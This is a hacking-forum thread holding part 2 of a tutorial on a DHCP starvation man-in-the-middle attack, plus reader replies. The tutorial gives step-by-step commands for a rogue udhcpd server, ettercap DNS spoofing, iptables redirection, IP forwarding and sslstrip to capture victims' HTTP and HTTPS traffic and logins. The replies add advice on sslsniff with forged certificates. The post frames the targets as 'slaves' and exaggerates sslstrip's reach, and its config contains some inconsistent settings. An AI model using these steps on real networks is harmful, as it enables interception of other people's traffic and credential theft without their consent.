

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] ~ Man in the Middle Attack ~ DHCP Starvation Part 2/2](#)

Goodies - November 3, 2013, 11:46 pm

[Click Here for Part 1](#)

Hey guys :D

Alright, so this is part 2 of my DHCP Starvation and MITM attack! In this part, we are going to set up a miniature DHCP server and act as a default gateway to other machines now trying to join the network.

Note: This attack works so fucking amazingly with an IPv6 flood or something that would force the users to restart their machines. Though the machines would have to be off when you start the attack for maximum slaves ;)

Setting Up the DHCP/DNS Server

So last time I told you how DHCP works in a basic sense. We are going to set up a DHCP server using "udhcpd" and we will be setting up a DNS server using nothing else but GOOD OLD ETTERCAP :D

First off, get udhcpd if you don't have it already:

Code apt-get install udhcpd

Alright, we need to edit the configuration file so we know what's up.

First of all, some important information to note:

Quote:My IP: 192.168.7.3

Router IP: 192.168.7.1

Network IP: 192.168.7.0

Subnet Mask: 255.255.255.0

Alright, let's edit the config file:

Code nano /etc/udhcpd.conf

Find the line that says "start" and underneath that should say "end". Configure it with your network settings:

Code start 192.168.7.20

end 192.168.7.254

[code]

MAKE SURE TO PUT TABS NOT SPACES! Not that it really matters xD

Now we need to set up some more options. Scroll down and edit these to your needs:

[code]

opt dns 192.168.7.3

option subnet 255.255.255.0

opt router 192.168.7.2

opt wins 192.168.7.10

option dns 8.8.8.8

option domain local

option lease 864000

That's it :D

ctrl+o -> enter to save
ctrl+x -> exit.

Now that we have that, start the DHCP server!
First we need to edit one more file and enable it:

Code nano /etc/default/udhcpd
change:
Code DHCPD_ENABLED="no"to
Code DHCPD_ENABLED="yes"
Now let's start the daemon/service!

Code sudo /etc/init.d/udhcpd restart
Done! That's our DHCP Server!!!

Now for the DNS server. There are a million tutorials on where to download ettercap and things so I won't be going over all that. You can also install it by going:

Code sudo apt-get install ettercap-text-only assuming you have all the repos needed ;)

Alright, so feel free to set up DNS records if needed by editing "/usr/share/ettercap/etter.dns" at the bottom where all of the DNS records are :) You may have to locate the etter.dns file if it's not there.

So, let's just open up the DNS server, shall we?
Code ettercap -Tq -P dns_spoof There we go! DNS done!

Configuring SSLStrip and IPTables

I can spend all day on this section, but it's almost 1am and I've got class in a few hours xD So I'll limit it to just a few minutes.

SSLStrip: This is going to capture HTTP data and it will also spoof a SSL certificate so we can decrypt the victim's HTTPS traffic and have a secure connection with them ourselves. This is great for intercepting HTTPS encrypted websites.

IPTables: Static routing tables and nat configuration. I really can't go into it more, but if you'd like to know more feel free to ask!

Okay, so let's go ahead and run our iptables command (you don't have to flush the tables if you don't have rules already for these ports):

Code iptables --flush
iptables -t nat --flush
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 This is going to add a static route and forward HTTP/S tcp traffic to port 10000 (sslstrip will run there).

Okay, let's ensure port forwarding can ensue:

Code echo "1" > /proc/sys/net/ipv4/ip_forward
Let's set up SSL strip now.
Code sslstrip -k -a -l 10000 Done :D

Watch the fireworks! You can check the ssl.log file wherever you'd like. This will capture ALL traffic both HTTP and HTTPS regardless if the cert is SSL or TLS :D

Tutorial by Goodies. I Hope You Enjoyed :D
~ Goodies ?

123123q123123q - November 5, 2013, 4:50 am

Thanks for tutorial :) and Thanks for you Goodies !

Delevingne - November 13, 2013, 8:22 am

Nice tutorial - why nobody replies to it ? lol

Goodies - November 13, 2013, 8:27 am

(Nov 13, 2013 09:22 AM)DaloSec Wrote: [\[CITE\]](#) Nice tutorial - why nobody replies to it ? lol
Honestly, many of the simple people enjoy reading and making the same WiFi cracking tutorials or RAT help threads.

I make these tutorials for the few people such as yourself that read it and may even get something out of it ;)

??Tommy - November 13, 2013, 8:28 am

This is all basic knowledge.

But whatever nice tut

?XilluX - November 13, 2013, 8:31 am

Nice Tut, bookmarked it! Keep up the nice work.

DrDinosaur - November 16, 2013, 1:31 am

This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job.

praetorian70 - November 16, 2013, 4:44 pm

thank you for sharing this tutorial

Goodies - December 6, 2013, 1:21 pm

(Nov 16, 2013 02:31 AM)DrDinosaur Wrote: [\[CITE\]](#) This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job.

Thanks :) I worked hard on this. Glad to be appreciated!

(Nov 16, 2013 02:31 AM)DrDinosaur Wrote: [\[CITE\]](#) This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job.

Thanks :) I worked hard on this. Glad to be appreciated!

Bartuc - December 6, 2013, 3:46 pm

Thank You for posting your wonderful tutorials.

Violators - December 6, 2013, 4:07 pm

Amazing tutorial Goodies. You would be the one to do something like this, nice job!

HarveySpecter - December 6, 2013, 6:40 pm

thank you for sharing this really helpful to people

Big Bird - December 6, 2013, 7:36 pm

Thanks for the tutorial! I do love how they have a android app for this that automates the process.

Violators - December 6, 2013, 7:50 pm

I remember seeing this on that Derren Brown show haha

Private666 - December 6, 2013, 9:45 pm

Tried this works perfect and highly detailed and HQ

Goodies - December 17, 2013, 5:37 pm

(Dec 6, 2013 10:45 PM)Syncing Wrote: [\[CITE\]](#) Tried this works perfect and highly detailed and HQ
Thanks! I'm glad you're interested in this.

Xiez - December 17, 2013, 7:25 pm

Bookmarked this and the first part. Amazing guide.

Goodies - December 19, 2013, 10:03 pm

(Dec 17, 2013 08:25 PM)Xiez Wrote: [\[CITE\]](#) Bookmarked this and the first part. Amazing guide.
Thanks :) This attack has come in handy dozens of times. It works awesomely in many networks :)

DrDinosaur - January 16, 2014, 11:06 pm

Ok I got this working, but SSLstrip does not log any logins. Ideas?

Mad76e - January 18, 2014, 10:36 am

(Nov 13, 2013 09:22 AM)DaloSec Wrote: [\[CITE\]](#) Nice tutorial - why nobody replies to it ? LOL
Honestly, I do not think there are many people who understands. Were setting the bar too high

Goodies.. Im starting to get enough of this shit.. PPL celebrates "How to port forwarding, cos my rat bla blal" and totally ignores things like this..

Goodies: Grate work as usual..

Are everybody skids here or something?

Goodies - January 18, 2014, 11:04 am

(Jan 17, 2014 12:06 AM)DrDinosaur Wrote: [\[CITE\]](#) Ok I got this working, but SSLstrip does not log any logins. Ideas?

Hey, I recommend using SSLSniff... Use custom certificates and decrypt SSL/TLS data with the private key. Legitimately Signed certs are obviously best, but for tutorial's purposes (and usually in real life), people couldn't give 2 shits about SSL warnings because they really need to check <https://facebook.com>

(Jan 17, 2014 12:06 AM)DrDinosaur Wrote: [\[CITE\]](#) Ok I got this working, but SSLstrip does not log any logins. Ideas?

Well, I've somewhat been ignoring SSLstrip. You can use custom SSL certificates with sslsniff (also made by Moxie... In python :) lol).

I'm on a 4 hour drive ATM but ill wrote a tut later on :D

T0ucaNSaM - June 5, 2014, 10:27 am

lol watch tghe fireworks thanks for these. And your the rest of the tuts you have available. They are all real world and amazing. HOPE to see it updated.

Talu - June 5, 2014, 10:36 am

Great tutorial, man. Thanks for posting.